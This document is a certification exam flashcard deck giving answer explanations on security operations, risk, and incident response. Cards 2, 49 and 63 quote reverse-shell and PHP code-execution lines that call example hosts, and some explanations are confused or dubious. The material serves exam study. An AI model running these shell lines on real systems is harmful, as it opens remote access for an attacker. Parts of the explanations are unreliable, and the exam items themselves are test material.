Deck 1 Flashcards

Question

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date. Which of the following best describes a security analyst’s concern? A. Any discovered vulnerabilities will not be remediated. B. An outage of machinery would cost the organization money. C. Support will not be available for the critical machinery. D. There are no compensating controls in place for the OS.

Answer 1

Correct Answer: A As an operating system reaches its end-of-life date, the vendor typically stops providing security updates and patches for known vulnerabilities. This leaves systems running on the outdated OS exposed to potential security risks. Without the ability to receive patches, any vulnerabilities discovered in the OS after the end-of-life date will remain unaddressed, increasing the risk of exploitation by malicious actors. This concern highlights the importance of migrating critical systems to supported and up-to-date platforms to mitigate security risks. While options B, C, and D may also be concerns for the organization, the primary focus of a security analyst is typically on mitigating security risks, making option A the best choice.

Answer 2

Correct Answer: D The suspicious entry bash -i >& /dev/tcp/10.1.2.3/8080 0>&1 appears to be an attempt to establish a reverse shell connection to the IP address 10.1.2.3 on port 8080. Option A: * This script uses nc (netcat) to connect to 10.1.2.3 on port 8080. * If the connection is successful, it echoes “Malicious activity”; otherwise, it echoes “OK.” * However, this script doesn’t directly verify the suspicious command. * Not the best choice for confirming ongoing activity related to the suspicious entry. Option B: * This script uses ps -fea to list all processes and then pipes the output to grep 8080. * If any process with port 8080 is found, it echoes “Malicious activity”; otherwise, it echoes “OK.” * While it checks for processes, it doesn’t specifically validate the suspicious command. * Not the most accurate choice for confirming ongoing activity related to the suspicious entry. Option C: * This script attempts to list the contents of a non-existent directory (/opt/tcp/10.1.2.3/8080). * It will likely fail and always echo “OK.” * Definitely not the right choice for confirming the suspicious activity. Option D: * This script uses netstat -antp to display active network connections. * It then pipes the output to grep 8080 to check for any connections on port 8080. * If a connection exists, it echoes “Malicious activity”; otherwise, it echoes “OK.” * Best choice among the given options for confirming ongoing activity related to the suspicious entry. Therefore, the security analyst should use Option D to accurately confirm whether the suspicious activity is ongoing. This script checks for active connections on port 8080, which aligns with the suspicious command.

Answer 3

Correct Answer: C Using an API to insert bulk access requests from a file into an identity management system is an example of automation. This process streamlines the creation of multiple access requests simultaneously, improving efficiency and accuracy. Unlike single sign-on (D), which focuses on user authentication, automation (C) handles repetitive tasks programmatically. Data enrichment (B) typically involves enhancing existing data with additional information, but it’s not directly related to bulk access requests. And command and control (A) refers to a cyber threat tactic, not a system functionality. So, the correct answer is C. Automation.

Answer 4

Correct Answer: A Segmentation with ACLs (Access Control Lists): Segmentation involves dividing the flat network into smaller, isolated segments. Each segment can have its own security policies and access controls. ACLs are rules that determine which traffic is allowed or denied between segments. By configuring ACLs, you can restrict communication between sensitive file storage locations and the public network. This approach minimizes lateral movement within the network, reducing the attack surface and preventing unauthorized access. ACLs can be applied at the network level (e.g., using firewalls) or at the host level (e.g., using security groups in cloud environments). Other Options: Logging and monitoring to the SIEM (Option B): While important for visibility, this alone won’t prevent unauthorized access. It helps detect incidents but doesn’t proactively secure the network. Deploying MFA to cloud storage locations (Option C): MFA enhances authentication but doesn’t directly address network segmentation. Rolling out an IDS (Option D): An Intrusion Detection System detects suspicious activity but doesn’t segment the network.

Answer 5

Correct Answer: A, F Evaluate scoring fields (SCL and Bulk Complaint Level): Correct: Checking the Spam Confidence Level (SCL) and Bulk Complaint Level is a valid step. These scores help assess the likelihood that an email is spam or malicious. A high SCL or numerous bulk complaints may indicate suspicious content. Review email headers: Not directly relevant: Considering that forwarded emails replace headers with the forwarder’s info, this step becomes less effective. The original headers are lost. Look for anomalies, such as unusual IP addresses, domains, or inconsistencies in the Received headers. Examine the recipient address field: Not directly relevant: While it’s generally good practice to verify recipient addresses, this step alone may not determine the email’s legitimacy. It’s essential to consider other factors as well. Review the Content-Type header: Not directly relevant: The Content-Type header specifies the format of the email content (e.g., text, HTML). While it’s useful for rendering the email correctly, it doesn’t directly assess legitimacy. Evaluate the HELO or EHLO string of the connecting email server: Not directly relevant: The HELO/EHLO string is part of the SMTP handshake during email communication. While it can provide clues about the server, it’s not a primary step for assessing email legitimacy. Examine the SPF, DKIM, and DMARC fields from the original email: Correct: Checking SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) records helps verify the email’s legitimacy. These fields prevent email spoofing and enhance security.

Answer 6

Correct Answer: A To improve visibility and reduce the time to prevent lateral movement and data exfiltration, the most relevant technique is Mean Time to Detect (MTTD). MTTD measures how quickly an organization identifies security incidents or threats. By minimizing MTTD, you can detect malicious actors earlier, allowing for faster response and containment. The other options—Mean Time to Respond (MTTR), Mean Time to Remediate (MTTR), and Service-level Agreement (SLA) uptime—are important but focus on different aspects of incident management and resolution. MTTD directly addresses the goal of improving visibility and timely detection.

Answer 7

Correct Answer: D The analyst has already contained the original infected machine. Next would be to identify the scope of the malware (how many users have been affected). After the spread has been contained, the analyst can go back and acquire the bit level image for further forensics.

Answer 8

Correct Answer: C The company is exercising the “Mitigate” risk management principle. By implementing a patch management program, they are taking steps to reduce the impact of vulnerabilities and mitigate the associated risks.

Answer 9

Correct Answer: C During the transition between analysts, reviewing the steps that the previous analyst followed (Option C) is crucial. By understanding the investigation’s progress, you can build upon existing knowledge and avoid duplicating efforts. Additionally, this step ensures continuity and helps the new analyst identify any gaps or areas that need further exploration. Remember, effective communication with the prior analyst is essential for a smooth handover.

Answer 10

Correct Answer: C The SIEM rule indeed worked as expected by not triggering an alert at 9 failed login attempts. However, the issue lies in the threshold being set too high. Since the threshold was 10 failed logins within one minute, it failed to detect an actual attack when there were 9 failed logins. This situation is indeed a False Negative because the rule missed a legitimate security event.

Answer 11

Correct Answer: B A discovery scan is typically used to identify the scope of a web application and understand where the scan will go. This type of scan is often the first step in assessing a web application’s security and helps the analyst determine which areas should be further examined or tested in-depth.

Answer 12

Correct Answer: D Purchasing cyber insurance aligns with the risk management principle of transferring risk. By obtaining cyber insurance, organizations shift the financial burden of potential losses resulting from cyber incidents to the insurance provider. This allows them to mitigate the impact of breaches or data loss.

Answer 13

Correct Answer: A To address the finding of increased awareness of secure coding practices, I recommend option A: Establish quarterly SDLC training on the top vulnerabilities for developers. This approach ensures that developers receive regular training and stay informed about the latest security threats and best practices. By integrating secure coding principles into their workflow, they can proactively prevent vulnerabilities in the code they write. The other options (B, C, and D) are valuable but may not directly address the need for ongoing developer education.

Answer 14

Correct Answer: D, F Encryption (D): Relevant during data storage and usage phases. It ensures data confidentiality by converting it into a secure format that only authorized parties can decipher. Access Controls (F): Crucial for data storage. Access controls limit who can access, modify, or delete data. Properly configured permissions prevent unauthorized access. Data Life Cycle: 1. Create 2. Storage 3. Usage 4. Sharing 5. Archive 6 Destruction Data Classification – Create (1) Data Destruct – Destruction (6) Data Loss Prevention – Usage (3), Share (4) Encryption – Storage (2), Usage (3) Backups – Archive (5) Access Controls – Storage (2)

Answer 15

Correct Answer: D The company should align their security controls around D. MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge). The MITRE ATT&CK framework is a powerful tool for Chief Information Security Officers (CISOs) to map all the attack vectors that the company faces each day. It categorizes and details various adversary tactics and techniques based on real-world threat intelligence observations. By revealing adversary tactics, techniques, and procedures (TTPs), MITRE ATT&CK empowers CISOs and their security teams to make informed, proactive decisions when addressing cyberthreats.

Answer 16

Correct Answer: B These scans can sometimes overload or disrupt target systems, especially if they are not configured or managed properly. In some cases, active scans can trigger vulnerabilities or cause service disruptions, leading to unexpected issues like a server crash.

Answer 17

Correct Answer: C To reduce the rate of success of adversary privilege escalation attempts, the most effective control would be C. Harden systems by disabling or removing unnecessary services. By minimizing the attack surface and limiting the number of running services, you can significantly reduce the opportunities for adversaries to exploit vulnerabilities or escalate privileges. While the other options (A, B, and D) are important security measures, they do not directly address the specific threat of privilege escalation via native Windows tools. Here’s a brief overview of each option: A. Set user account control protection to the most restrictive level on all devices: This helps prevent unauthorized changes to system settings, but it doesn’t specifically target privilege escalation via native tools. B. Implement MFA requirements for all internal resources: Multi-factor authentication (MFA) enhances security, but it primarily focuses on user authentication rather than system hardening. D. Implement controls to block execution of untrusted applications: While this is a good practice, it doesn’t directly address the use of native Windows tools for privilege escalation.

Answer 18

Correct Answer: D Based on the information provided, the most likely scenario is D. Data exfiltration. The consistent outbound emails to a non-company address at a specific time could indicate an attempt to transfer sensitive data from the organization. It’s essential to investigate further to confirm this suspicion and take appropriate action to prevent any potential data breaches.

Answer 19

Correct Answer: D The next step for the SOC analyst would be to identify the IP/hostname for the requests and look at the related activity. This involves investigating the source of the HTTP/404 events to understand their origin and potential impact. By analyzing the IP addresses or hostnames associated with these events, the analyst can gain insights into whether this is a legitimate issue or a potential security threat. Once the source is identified, further actions can be taken as needed

Answer 20

Correct Answer: C The reporting metric that should be utilized when measuring the degree to which a system, application, or user base is affected by an uptime availability outage is “Impact”. This metric assesses the severity and consequences of the outage on the affected components, users, or services. By understanding the impact, organizations can prioritize recovery efforts and allocate resources effectively. Remember, impact measurement considers both the extent and severity of the disruption caused by the outage.

Answer 21

Correct Answer: A OpenVAS (Open Vulnerability Assessment Scanner) When it comes to vulnerability scanning tools, OpenVAS is an excellent choice for producing evidence of regular vulnerability scans. It’s an open-source solution that assesses computers, networks, or applications for vulnerabilities and security weaknesses. By systematically scanning for these weaknesses, OpenVAS helps organizations understand their exposure to potential security threats and provides a pathway to remediate identified issues, thereby enhancing the security posture.

Answer 22

Correct Answer: B Notifying the departments involved to preserve potentially relevant information is a crucial initial step. By doing so, the organization ensures that relevant data is safeguarded before establishing a formal chain of custody. Once the data is secured, the subsequent steps can focus on maintaining a clear and documented chain of custody in compliance with the legal hold request.

Answer 23

Correct Answer: A After the resolution of an incident, the organization engages in a process known as “lessons learned.” This involves reflecting on the incident, identifying areas for improvement, and capturing insights to enhance future incident response. By analyzing what went well and what could be done better, the organization grows and strengthens its incident management practices.

Answer 24

Correct Answer: A To move the incident forward, the analyst should focus on the “Impact.” Understanding the severity and consequences of the events is crucial for prioritizing investigations and allocating resources effectively. By assessing impact, the analyst can address critical issues promptly and manage the workload more efficiently.

Answer 25

Correct Answer: D The security control that the analyst has configured by adjusting audit settings in the organization’s cloud services is “Detective.” These settings allow the organization to monitor and identify potential security incidents by collecting relevant logs and data. By detecting anomalies or suspicious activities, the organization can respond promptly and mitigate risks.

Answer 26

Correct Answer: D The contract that defines the various levels of maintenance to be provided by an external business vendor in a secure environment is known as a Service Level Agreement (SLA). An SLA outlines the specific services, performance expectations, and responsibilities between the organization and the vendor. It ensures clarity regarding maintenance, uptime, and support levels, helping establish a strong working relationship.

Answer 27

Correct Answer: B Given the context of Layer 4 DDoS attacks, deploying an IPS (Option B) would be the most effective control. It can actively detect and block malicious traffic, providing better protection against such attacks: A. Block the attacks using firewall rules (Option A): While firewalls can help filter traffic, they are not specifically designed to handle DDoS attacks efficiently. They might become overwhelmed during large-scale attacks. B. Deploy an Intrusion Prevention System (IPS) in the perimeter network (Option B): An IPS can detect and block malicious traffic, including DDoS attacks. It’s a better choice than firewalls for this purpose. C. Roll out a Content Delivery Network (CDN) (Option C): CDNs distribute content across multiple servers, reducing the impact of DDoS attacks by distributing the load. However, CDNs are more effective against Layer 7 attacks (application layer) rather than Layer 4 attacks. D. Implement a load balancer (Option D): Load balancers distribute incoming traffic across multiple servers, preventing any single server from being overwhelmed. While they can help with DDoS attacks, they are more effective against Layer 7 attacks.

Answer 28

Correct Answer: C The best tool to deploy for data collection and aggregation from various endpoints is Endpoint Detection and Response (EDR). EDR tools provide real-time monitoring and collection of endpoint data, allowing analysts to rapidly detect, investigate, and remediate threats. They collect large amounts of data from endpoint devices and use various data analytics techniques to identify patterns that indicate a threat. This makes EDR tools highly effective for security data aggregation. Therefore, the correct answer is C. EDR.

Answer 29

Correct Answer: D In regulated organizations, compliance with regulatory requirements is indeed crucial. However, the need for executive leadership approval in communication plans stems from several factors: Coordination and Consistency: Having executive approval ensures that communication is consistent across all channels (internal, external, and public relations). It prevents conflicting messages and ensures a unified approach. Risk Assessment: Executive leadership considers the potential impact of the breach, legal implications, and reputational risks. Their approval ensures that communication aligns with the organization’s risk tolerance. Timeliness: While regulatory agencies provide guidelines, the specific timing of communication may vary based on the incident’s severity. Executive leadership can assess the situation and decide when to notify affected parties. Legal and Financial Implications: Executive approval ensures that legal and financial considerations are addressed. For instance, notifying customers promptly may mitigate legal liabilities. In summary, while regulatory agencies set guidelines, executive leadership plays a critical role in determining the timing and approach of communication during security incidents.

Answer 30

Correct Answer: D For downloading the configuration of cloud assets, the security analyst should use key pair authentication (option D). This method provides strong security by using public and private keys to authenticate and establish a secure connection. It’s commonly used for secure access to cloud resources. - MFA (option A) is an additional layer of security but isn’t directly related to asset configuration downloads. - User and password (option B) and PAM (option C) are less secure for this purpose.

Answer 31

Correct Answer: E Given the situation, the first step the incident response staff members should take when they arrive is E. Segment the entire department from the network and review each computer offline. Segmentation: Since the network is robustly segmented based on areas of responsibility, it’s crucial to isolate the affected department from the rest of the network. This prevents the malware from spreading further and affecting other systems. Offline Review: By reviewing each computer offline (i.e., without network connectivity), the incident response team can assess the extent of the infection, identify compromised systems, and determine the nature of the malware. They can also collect evidence for further analysis. The other options have potential issues: - A: Turning on all systems and scanning for infection could inadvertently spread the malware. - B: Identifying and removing software might not be effective if the malware is deeply embedded. - C: Reimaging devices without understanding the malware’s behavior may not prevent reinfection. - D: Logging in with an administrator account could expose the incident response team to risks.

Answer 32

Correct Answer: C To ensure the third-party consultant does no harm to operations while assessing the OT network, the following considerations should be taken into account: Using passive instead of active vulnerability scans: Passive scans observe network traffic without actively probing or sending requests. This approach minimizes disruption to fragile and legacy equipment, reducing the risk of unintended consequences during the assessment. Preserving the state of PLC ladder logic (Option B) is essential for maintaining operational stability, but it’s not directly related to the consultant’s scanning techniques. Similarly, running scans during off-peak hours (Option D) is a good practice, but it doesn’t specifically address the risk of harm. Employing Nmap Scripting Engine techniques (Option A) may be useful, but it’s not the primary consideration for avoiding harm to operations. Therefore, the best choice is C. Using passive instead of active vulnerability scans. This approach allows assessment without disrupting critical systems.

Answer 33

Correct Answer: A The technology that best fits the description of correlating information from various sources, analyzing it, and triggering notifications based on company policy is Security Information and Event Management (SIEM). SIEM systems collect and correlate data from network sensors, application logs, and host logs to detect security incidents and provide alerts. They play a crucial role in monitoring and managing security events within an organization. A. SIEM is the correct answer. B. SOAR (Security Orchestration, Automation, and Response) focuses on automating incident response processes but doesn’t necessarily correlate information from various sources. C. IPS (Intrusion Prevention System) is designed to prevent and block malicious network traffic but doesn’t handle information correlation. D. CERT (Computer Emergency Response Team) is an incident response team within an organization, not a technology for correlating information.

Answer 34

Correct Answer: B To mitigate the effects of a new ransomware attack that bypassed the company antivirus, implementing vulnerability management would be the most effective approach. Firewall (Option A): Firewalls control network traffic based on predefined rules. While they are essential for network security, they primarily focus on filtering incoming and outgoing traffic. They won’t directly address an ongoing ransomware attack that has already infiltrated the network. Vulnerability Management (Option B): This approach involves identifying and addressing vulnerabilities in software, systems, and applications. By regularly scanning for vulnerabilities, applying patches, and updating software, you can reduce the attack surface and prevent exploitation by ransomware. Sandboxing (Option C): Sandboxing isolates suspicious files or processes in a controlled environment to analyze their behavior. While it’s useful for detecting malware, it’s not a direct mitigation strategy for an ongoing attack. Application Blocklist (Option D): Maintaining an application blocklist helps prevent unauthorized or malicious software from running. However, it won’t stop an active ransomware attack that has already infiltrated the system. In summary, vulnerability management is the most relevant and proactive measure to address an ongoing ransomware attack. It focuses on identifying and fixing vulnerabilities, reducing the risk of successful exploitation.

Answer 35

Correct Answer: C For identifying vulnerabilities, including SQL injection, RFI, and XSS, the most suitable approach would be dynamic application security testing (DAST). DAST involves scanning applications in their running state to identify security flaws and vulnerabilities. It checks for issues like input validation errors, insecure configurations, and common attack vectors. By actively probing the application, DAST helps discover vulnerabilities that could be exploited by attackers. Other options like reverse engineering, known environment testing, and code debugging are not specifically designed for vulnerability identification in the same way as DAST1. So, I recommend choosing option C: Dynamic application security testing.

Answer 36

Correct Answer: C The integration of Data Loss Prevention (DLP) and Cybersecurity Analytics and Security Event (CASE) tools aims to enhance security operations and reduce alert fatigue. Let’s break down the options: A. SIEM ingestion logs are reduced by 20%: While this could be a positive outcome, it’s not directly related to reducing alert fatigue. B. Phishing alerts drop by 20%: This is a specific improvement related to threat detection and could contribute to reducing alert fatigue. However, it’s not the best possible outcome. C. False positive rates drop to 20%: This is a strong contender. Lowering false positives means analysts spend less time investigating non-threatening alerts, which directly addresses alert fatigue. D. The MTTR (Mean Time to Respond) decreases by 20%: While reducing response time is valuable, it doesn’t directly address alert fatigue. The most relevant outcome is C. False positive rates drop to 20%. By minimizing false positives, analysts can focus on genuine threats, leading to more efficient and effective incident response

Answer 37

Correct Answer: A The threat actor most likely to target a company due to its questionable environmental policies is A. Hacktivist. Hacktivists are motivated by social or political causes and may engage in cyberattacks to promote their agenda or protest against specific policies or practices. In this case, environmental policies would be a relevant target for hacktivist activity.

Answer 38

Correct Answer: A A risk register is a document used to record information about identified risks within an organization. It typically includes details such as the risk ID, risk name, description of the risk, classification of the risk (e.g., impact and likelihood), and the responsible party for managing or mitigating the risk. Recording this information in a risk register helps organizations systematically manage and prioritize risks to their assets and operations.

Answer 39

Correct Answer: B The best solution to identify potential loss incurred by an issue in a reporting process for vulnerability management would be Risk score. A risk score helps quantify the impact and likelihood of a vulnerability, allowing the SOC manager to prioritize remediation efforts effectively.

Answer 40

Correct Answer: D In the context of a SIEM setup, data normalization rules are crucial for standardizing and correlating data from various sources. These rules allow the SIEM to accurately identify patterns and anomalies across different systems. So, while NTP configuration is essential, addressing data normalization rules should be the initial step for effective incident correlation

Answer 41

Correct Answer: D Considering the context, Option D is the most appropriate choice. The risk would increase because the host is externally facing, and the vulnerability over port 3389 poses a significant threat. A. The risk would not change because network firewalls are in use: This option doesn’t directly address the vulnerability identified over port 3389. Network firewalls may not specifically mitigate the vulnerability associated with port 3389. B. The risk would decrease because RDP is blocked by the firewall: This option suggests that blocking Remote Desktop Protocol (RDP) would reduce the risk. However, the vulnerability was identified over port 3389, which is commonly used for RDP. Blocking RDP might mitigate the specific vulnerability but doesn’t necessarily address other potential risks. C. The risk would decrease because a web application firewall is in place: A web application firewall (WAF) is designed to protect web applications from attacks. While it’s beneficial for web-related vulnerabilities, it may not directly address vulnerabilities over port 3389. Therefore, this option is less likely to significantly reduce the overall risk associated with the vulnerability. D. The risk would increase because the host is external facing: This option acknowledges that the web server is externally accessible. External-facing servers are more exposed to threats, increasing the overall risk. The vulnerability identified over port 3389 adds to this risk. Therefore, this option aligns with the potential impact of the vulnerability.

Answer 42

Correct Answer: B, D Reviewing the Code (Option B): - Developers should carefully examine the code to identify any logical or syntactical errors. This involves analyzing the code line by line, checking for inconsistencies, missing semicolons, incorrect variable assignments, and other issues. - By reviewing the code thoroughly, developers can catch errors early in the development process and ensure that the code adheres to best practices. Debugging the Code (Option D): - Debugging involves identifying and fixing errors in the code. Developers use debugging tools (such as breakpoints, logging, or step-by-step execution) to trace the flow of the program and pinpoint the exact location of errors. - Debugging helps identify issues related to incorrect data, unexpected behavior, or exceptions during runtime. Common debugging techniques include using print statements, analyzing stack traces, and using integrated development environments (IDEs) with debugging features. While other options (such as dynamic application security testing, fuzzing, implementing a coding standard, and implementing intrusion detection systems) are valuable for security and quality assurance, they do not directly address runtime errors in the code. Therefore, options B (Reviewing the code) and D (Debugging the code) are the most relevant for resolving this issue.

Answer 43

Correct Answer: A The actions described—implementing host-based IPS (Intrusion Prevention Systems), firewalls, and two-factor authentication—are measures to protect and secure a computer system from vulnerabilities and unauthorized access. These measures are most likely related to System hardening. System hardening involves implementing security measures to reduce the potential attack surface of a system, which is consistent with the deployment of the security controls mentioned.

Answer 44

Correct Answer: C This process typically involves using cryptographic hashes to verify that the data has not been altered, ensuring its authenticity and integrity. Offline storage, evidence collection, and legal hold are also important aspects of handling digital evidence, but integrity validation is key to preventing repudiation.

Answer 45

Correct Answer: A Given the scenario, the most likely explanation for the discrepancy in time stamps is: A. The NTP server is not configured on the host This is because a 43-minute difference suggests a significant time drift, which is often due to the host not being synchronized with a Network Time Protocol (NTP) server. Proper NTP configuration ensures that all devices on the network have synchronized time, which is crucial for accurate log correlation and incident analysis.

Answer 46

Correct Answer: B One of the first actions the incident response team should take when they receive notification of a phishing attack is to review the actions taken by the employee and the email related to the event (Option B). This step is crucial for understanding the scope of the incident, identifying any potential security breaches, and gathering evidence for further investigation.

Answer 47

Correct Answer: A Given the characteristics of the suspicious DNS traffic you described, the most likely attack is DNS exfiltration (A). DNS traffic during a tunneling session: This suggests that DNS is being used to tunnel data. Mean time between queries is less than one second: This indicates a high frequency of DNS queries, which is unusual for normal DNS traffic. Average query length exceeds 100 characters: This suggests that the DNS queries are carrying more data than typical DNS queries, which is a common sign of data exfiltration. DNS exfiltration involves using DNS queries and responses to transfer data covertly from a compromised system to an attacker-controlled server. This method leverages the DNS protocol to bypass traditional security measures.

Answer 48

Correct Answer: B The CISO implemented B. Compensating controls. Compensating controls are alternative measures put in place to satisfy the requirement for a security control when the primary control is not feasible. In this case, maintaining and reviewing logs and audit trails compensates for the lack of staff to segregate duties

Answer 49

Correct Answer: B The suspicious command you provided is attempting to execute a system command through PHP code. This is indicative of a Remote Code Execution (RCE) attempt. preg_replace(‘/./e’, ‘system(“ping -c 4 10.0.0.1”);’, ‘’);: - The preg_replace function is used for regular expression-based search and replace. - The /e modifier in the regular expression tells PHP to evaluate the replacement string as PHP code. system(“ping -c 4 10.0.0.1”);: - The system function in PHP executes an external program (in this case, the ping command) and displays the output. Evaluation: - The /e modifier causes the replacement string (system(“ping -c 4 10.0.0.1”);) to be executed as PHP code. - This means that the system function will run the ping command, effectively allowing the execution of arbitrary system commands. This combination of using preg_replace with the /e modifier and the system function is a classic example of an RCE vulnerability, where an attacker can execute arbitrary commands on the server.

Answer 50

Correct Answer: B To ensure emails from the new data center do not get blocked by spam filters, the most likely record that needs to be updated is the SPF (Sender Policy Framework) record. SPF records specify which IP addresses are authorized to send emails on behalf of your domain, and updating it with the new public IP addresses of the data center will help prevent emails from being marked as spam.

Answer 51

Correct Answer: A Extended Detection and Response (XDR) logs provide a comprehensive view of enterprise activity by collecting and correlating data across multiple security layers, such as email, endpoint, server, cloud workloads, and network. This makes XDR logs the most effective source for confirming malware infections.

Answer 52

Correct Answer: A The goal of a disaster recovery exercise is primarily to provide metrics and test continuity controls. This helps ensure that an organization can maintain operations during and after a disaster by validating the effectiveness of its continuity plans and identifying areas for improvement. So, the correct answer is A. To provide metrics and test continuity controls.

Answer 53

Correct Answer: C To prevent network printers from printing unreadable text and icons during subsequent vulnerability scans, the analyst should create a tailored scan for the printer subnet (Option C). This approach allows the analyst to customize the scan settings specifically for the printer subnet, avoiding unnecessary disruptions to the printers while still ensuring a thorough vulnerability assessment.

Answer 54

Correct Answer: B Given the requirements outlined by the Chief Information Security Officer, the best vulnerability scanning method to use would be B. Agent. Minimal network bandwidth: Agent-based scanning typically uses less network bandwidth because the agents run locally on the hosts and only send the results back to the central server. Minimal host resources: Modern agents are designed to be lightweight and have minimal impact on host resources. Accurate, near real-time updates: Agents can provide continuous monitoring and real-time updates as they are always running on the host. No stored credentials: Agent-based scanning does not require stored credentials on the scanner, as the agents have the necessary permissions to perform scans on their respective hosts. This method aligns well with the requirements for minimal network and host resource usage, real-time updates, and no stored credentials.

Answer 55

Correct Answer: C Given the scenario where an employee is unable to log in after updating their browser and typically has multiple tabs open, the most likely attack is C. CSRF (Cross-Site Request Forgery). CSRF attacks exploit the trust that a site has in a user’s browser. When a user is authenticated and has multiple tabs open, an attacker can trick the browser into making unauthorized requests to a different site where the user is authenticated. This can lead to actions being performed without the user’s consent, such as changing account settings or making transactions.

Answer 56

Correct Answer: B Federation enables single sign-on (SSO) across multiple domains, enhancing user experience and security by allowing users to access various resources with a single set of credentials. A. Facilitating groups of users in a similar function or profile to system access that requires elevated or conditional access - This describes role-based access control (RBAC) rather than federation. B. An authentication mechanism that allows a user to utilize one set of credentials to access multiple domains - This is the correct definition of federation. It allows users to access multiple systems or domains using a single set of credentials, often through single sign-on (SSO). C. Utilizing a combination of what you know who you are, and what you have to grant authentication to a user - This describes multi-factor authentication (MFA), which involves using multiple methods to verify a user’s identity. D. Correlating one’s identity with the attributes and associated applications the user has access to. This is more aligned with identity management and attribute-based access control (ABAC), not specifically federation.

Answer 57

Correct Answer: A, B To best centralize the workload for the internal security team after the installation of a new EDR solution, the organization should utilize SOAR and SIEM. A. SOAR (Security Orchestration, Automation, and Response) - Automation: SOAR platforms can automate repetitive tasks, such as alert triage and incident response, reducing the manual workload on analysts. - Orchestration: They integrate with various security tools, including EDR, to streamline and coordinate responses across different systems. - Response: SOAR can help in creating playbooks for common incidents, ensuring consistent and efficient handling of alerts. B. SIEM (Security Information and Event Management) - Centralized Logging: SIEM solutions collect and analyze log data from multiple sources, including EDR, providing a centralized view of security events. - Correlation: They correlate events from different sources to identify potential threats, reducing the number of false positives and prioritizing alerts that need immediate attention. - Real-time Monitoring: SIEM provides real-time monitoring and alerting, helping analysts to quickly identify and respond to incidents. These tools together can significantly enhance the efficiency and effectiveness of the internal security team by automating processes and providing a centralized view of security events. C. MSP (Managed Service Provider) - Outsourcing: MSPs provide outsourced IT services, including security. While they can help manage security tasks,* they don’t centralize the workload internally. Instead, they shift it to an external provider, which might not align with the goal of centralizing within the internal team*. D. NGFW (Next-Generation Firewall) Network Security: NGFWs focus on network security by providing advanced filtering capabilities, intrusion prevention, and application awareness. They don’t centralize or manage alerts from EDR solutions or other security tools, so they wouldn’t help in reducing the internal team’s workload. E. XDR (Extended Detection and Response) - Integration: XDR integrates multiple security products into a unified platform, which can help in detecting and responding to threats. However, it might overlap with the existing EDR solution and doesn’t specifically centralize the workload for the internal team as effectively as SOAR and SIEM. F. DLP (Data Loss Prevention) - Data Protection: DLP solutions focus on preventing data breaches by monitoring and controlling data transfers. While important, they don’t centralize or manage alerts from EDR solutions, so they wouldn’t address the increased workload on the internal security team.

Answer 58

Correct Answer: C Unintentional insider threat. This concept involves ensuring that network users only open attachments from known sources to prevent accidental exposure to malicious content. This type of threat arises when employees or users unintentionally compromise security, often due to a lack of awareness or training.

Answer 59

Correct Answer: A Open-source threat intelligence can help determine the type of malware based on its telemetry. By cross-referencing the malware’s signature and behavioral patterns with known threat intelligence databases, analysts can quickly identify if the malware matches any known threats. This process can provide valuable insights into the malware’s characteristics, origin, and potential impact. However, while open-source threat intelligence is a powerful tool for initial identification, it may not always provide a complete picture, especially for new or highly sophisticated malware. In such cases, additional analysis, such as running the malware in a sandbox environment, is necessary to fully understand its behavior and develop effective countermeasures.

Answer 60

Correct Answer: C Given the specifics of the scenario, the most likely cause of the spike in traffic on port 1433 (which is commonly used by Microsoft SQL Server) is: C. An administrator executed a new database replication process without notifying the SOC This is because port 1433 is typically associated with database activities, and a significant increase in traffic could indicate a large data transfer, such as a database replication process. This scenario fits well with the observed traffic pattern and the nature of the port involved.

Answer 61

Correct Answer: A A. Risk Register - Purpose: A risk register is a comprehensive tool used to document identified risks, their likelihood, impact, and the actions taken to mitigate them. - Usefulness: It helps in mapping, tracking, and managing threats and vulnerabilities effectively. It provides a structured approach to risk management, ensuring that all potential risks are accounted for and addressed. * Relevance to CySA+: Highly relevant, as it aligns with the exam’s focus on risk management and mitigation strategies. B. Vulnerability Assessment - Purpose: A vulnerability assessment is a systematic process of identifying, quantifying, and prioritizing vulnerabilities in a system. - Usefulness: It helps in identifying security weaknesses that could be exploited by attackers. It provides a snapshot of the current security posture and highlights areas that need improvement. - Relevance to CySA+: Important for understanding the identification and prioritization of vulnerabilities, but it doesn’t directly map, track, or mitigate risks in the same structured way as a risk register. C. Penetration Test - Purpose: A penetration test (or pen test) is an authorized simulated attack on a computer system to evaluate its security. - Usefulness: It helps in identifying vulnerabilities that could be exploited in a real attack scenario. It provides a practical assessment of the system’s defenses. - Relevance to CySA+: Crucial for understanding real-world attack scenarios and defenses, but it focuses more on identifying vulnerabilities rather than tracking and mitigating them over time. D. Compliance Report - Purpose: A compliance report documents an organization’s adherence to regulatory requirements and standards. - Usefulness: It helps in ensuring that the organization meets legal and regulatory requirements. It provides evidence of compliance to auditors and stakeholders. - Relevance to CySA+: Important for understanding regulatory requirements and compliance, but it doesn’t focus on the ongoing management of threats and vulnerabilities. Conclusion While all these tools are important in the field of cybersecurity, the risk register is the most comprehensive tool for mapping, tracking, and mitigating identified threats and vulnerabilities with the likelihood and impact of occurrence.

Answer 62

Correct Answer: D Threshold values are often used to manage the number of alerts by setting specific criteria that must be met before an alert is triggered. This helps in reducing the noise and focusing on the most critical events.

Answer 63

Correct Answer: D The suspicious line of code is attempting a Reverse Shell (Option D). Here’s how you can tell: fsockopen(“10.0.0.1”, 1234): This function is used to open a network connection to the IP address 10.0.0.1 on port 1234. This is indicative of an attempt to establish a connection back to an attacker’s machine. passthru (“/bin/sh -i <&3 >&3 2>&3”): This command executes a shell (/bin/sh) and redirects the input, output, and error streams to the network connection established by fsockopen. This effectively gives the attacker a shell on the compromised machine. A reverse shell allows an attacker to gain remote access to the target system by having the target system initiate a connection back to the attacker’s machine.

Answer 64

Correct Answer: D After a lessons-learned review, the Incident Response Plan (D) should be updated. This ensures that any insights gained from the incident are incorporated into the plan, improving future responses and minimizing the impact of similar incidents.

Answer 65

